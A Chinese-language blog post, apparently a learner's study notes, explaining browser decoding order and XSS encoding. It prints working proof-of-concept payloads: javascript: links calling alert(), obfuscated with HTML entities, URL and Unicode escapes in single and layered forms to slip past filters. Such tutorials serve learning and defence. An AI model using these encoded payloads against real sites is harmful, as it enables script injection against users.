logo头像

黑客的本质就是白嫖

XSS字符编码与浏览器解析问题

本文于 534 天之前发表,文中内容可能已经过时。

前言

这几天在看一本叫《黑客攻防技术宝典 Web实战篇 第二版》的书,暂时看到了书上关于XSS的部分,书上讲的是各种绕过姿势,而自己其实对于XSS中的编码绕过一知半解,故趁着这个机会学习一波

浏览器的解析过程

浏览器解析的过程大致是这样的:
首先进行HTML解析,这一步将会解析浏览器接收到的HTML代码,处理HTML标记,并构建DOM
在解析HTML代码的过程中,如果碰到了CSS代码,则停止构建,并加载CSS样式
在解析HTML代码过程中,如果碰到了JS代码,同样停止构建,待JS代码执行完毕后在继续向下解析
如果碰到CSS是引入的外部链接,此时浏览器则会先对该链接发出请求,即先解析URL,在渲染CSS或执行JS代码

这样的话,对于编码的解码过程是这样的:
HTML解码 —> URL解码 —> JS解码
了解了这些,再来看XSS的编码问题

XSS的编码

HTML编码的形式一般为&#xx或者是&加上一个实体名称如lt(表示’<’)
URL的编码形式一般为%xxxx是对应字符ASCII码的16进制形式
JS的编码形式一般为/uXXXX,即Unicode转义序列,其中XXXX同样是一个16进制的数字

测试

介绍完各种编码与解析之后,来具体观察一下在浏览器中的编码解码过程

单层编码

首先看只进行一层编码的情况
xsscode1
xsscode2
xsscode3
xsscode4
xsscode5
这里出现了一个问题,就是进行Unicode编码的标签与进行URL编码的标签并没有成功弹窗
为此我又查了一下,结果发现问题出在URL解析上,URL解析器有一个细节,不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,从而不会被解码,也就不会被解析器识别了
修改了一下代码
xsscode8
xsscode6
xsscode7
成功弹窗

1
2
3
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#104;&#116;&#109;&#108;&#32;&#101;&#110;&#99;&#111;&#100;&#101;&#39;&#41;">html encode</a><br>
<a href="javascript:%61%6C%65%72%74%28%27%75%72%6C%20%65%6E%63%6F%64%65%27%29">url encode</a><br>
<a href="javascript:\u0061\u006c\u0065\u0072\u0074('js encode')">js encode</a><br>

双层编码

因为解析顺序问题,我们具体进行编码的时候也要注意顺序,首先进行JS也就是Unicode编码,再进行URL编码,最后进行HTML编码
xsscode9
xsscode10
xsscode11
xsscode12

1
2
3
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#55;&#52;&#40;&#39;&#106;&#115;&#38;&#104;&#116;&#109;&#108;&#32;&#101;&#110;&#99;&#111;&#100;&#101;&#39;&#41;">js&html encode</a><br>
<a href="javascript:%5C%75%30%30%36%31%5C%75%30%30%36%63%5C%75%30%30%36%35%5C%75%30%30%37%32%5C%75%30%30%37%34%28%27%6A%73%26%75%72%6C%26%68%74%6D%6C%20%65%6E%63%6F%64%65%27%29">js&url&html encode</a><br>
<a href="javascript:%61%6C%65%72%74%28%27%75%72%6C%26%68%74%6D%6C%20%65%6E%63%6F%64%65%27%29">url&html encode</a>

三层编码

xsscode13
xsscode14

1
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#67;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#67;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#54;&#51;&#37;&#53;&#67;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#67;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#67;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#37;&#50;&#56;&#37;&#50;&#55;&#37;&#54;&#65;&#37;&#55;&#51;&#37;&#50;&#54;&#37;&#55;&#53;&#37;&#55;&#50;&#37;&#54;&#67;&#37;&#50;&#54;&#37;&#54;&#56;&#37;&#55;&#52;&#37;&#54;&#68;&#37;&#54;&#67;&#37;&#50;&#48;&#37;&#54;&#53;&#37;&#54;&#69;&#37;&#54;&#51;&#37;&#54;&#70;&#37;&#54;&#52;&#37;&#54;&#53;&#37;&#50;&#55;&#37;&#50;&#57;">js&url&html encode</a><br>

结论

这样的话,即使针对同一个payload,一共有7种编码方式来使用,加上完全不编码的一共8种,虽然说服务器端解码可能都做了,但万一呢?
总之搞懂了一个一直都很迷的问题还是挺不错的


参考资料:
浅谈XSS—字符编码和浏览器解析原理
浏览器的工作原理:新式网络浏览器幕后揭秘
浏览器的渲染:过程与原理
【前端安全】JavaScript防http劫持与XSS

评论系统未开启,无法评论!